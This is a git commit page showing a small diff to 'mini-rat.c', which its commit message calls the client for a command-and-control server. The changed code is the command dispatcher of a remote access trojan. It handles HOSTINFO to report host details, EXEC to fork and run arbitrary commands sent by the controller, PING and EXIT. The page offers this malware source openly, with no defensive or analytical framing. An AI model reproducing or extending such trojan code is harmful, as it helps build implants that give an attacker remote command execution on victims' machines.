summaryrefslogtreecommitdiff
path: root/client
diff options
context:
space:
mode:
authorDanny Holman <dholman@gymli.org>2023-09-13 11:26:47 -0500
committerDanny Holman <dholman@gymli.org>2023-09-13 11:26:47 -0500
commita1c692587b3f8d695dbf0b09828e5697c6aa3742 (patch)
treeadde1a987d2ab43a3744205abf8fb58e2cbe5cf0 /client
parent75b24537215de0cbef21d68334129bad82a921b9 (diff)
client: finish implementing core commands
Finish implementing the core commands required by the C&C server. Signed-off-by: Danny Holman <dholman@gymli.org>
Diffstat (limited to 'client')
-rw-r--r--client/src/mini-rat.c19
1 files changed, 13 insertions, 6 deletions
diff --git a/client/src/mini-rat.c b/client/src/mini-rat.c
index 9ceaa88..7347e36 100644
--- a/client/src/mini-rat.c
+++ b/client/src/mini-rat.c
@@ -50,6 +50,8 @@ void run_exec(char **argv) {
exit(0);
} else if (pid > 0) {
wait(NULL);
+ printf("RETURN\r\n");
+ fflush(stdout);
} else {
printf("ERROR IN FORK\r\n");
fflush(stdout);
@@ -69,13 +71,18 @@ int handle_request(char *req) {
char **argv = NULL;
size_t count = str_split(&argv, req, " ");
- if (strcmp(tokens[0], "HOSTINFO") == 0) {
- hostinfo(socket);
- } else if (strncmp(tokens[0], "EXEC", 4) == 0) {
- char **argv = str_split(req, " ");
- run_exec(socket, &argv[1]);
- } else if (strncmp(tokens[0], "EXIT", 4) == 0) {
+ if (strcmp(argv[0], "HOSTINFO") == 0) {
+ hostinfo();
+ } else if (strcmp(argv[0], "EXEC") == 0) {
+ run_exec(&argv[1]);
+ } else if (strcmp(argv[0], "EXIT") == 0) {
return 1;
+ } else if (strcmp(argv[0], "PING") == 0) {
+ printf("PONG\r\n");
+ fflush(stdout);
+ } else {
+ printf("NOT A COMMAND\r\n");
+ fflush(stdout);
}
free(argv);
return 0;